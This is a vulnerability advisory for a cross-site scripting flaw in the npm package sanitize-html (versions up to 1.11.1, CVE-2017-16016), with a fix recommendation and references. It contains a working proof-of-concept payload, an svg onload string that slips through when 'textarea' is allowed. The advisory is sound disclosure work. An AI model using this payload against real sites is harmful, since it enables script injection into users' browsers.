GHSA-xc6g-ggrc-qq4rMedium
Cross-Site Scripting in sanitize-html
🔗 CVE IDs covered (1)
📋 Description
Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.
Proof of Concept
var sanitizeHtml = require('sanitize-html');
var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});
console.log(clean);
// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
Recommendation
Update to version 1.11.4 or later.
🎯 Affected products1
- npm/sanitize-html:<= 1.11.1
🔗 References (7)
- https://nvd.nist.gov/vuln/detail/CVE-2017-16016
- https://github.com/punkave/sanitize-html/issues/100
- https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403)))
- https://github.com/advisories/GHSA-xc6g-ggrc-qq4r
- https://npmjs.com/package/sanitize-html#discarding-the-entire-contents-of-a-disallowed-tag
- https://www.npmjs.com/advisories/154
- https://github.com/punkave/sanitize-html/commit/5d205a1005ba0df80e21d8c64a15bb3accdb2403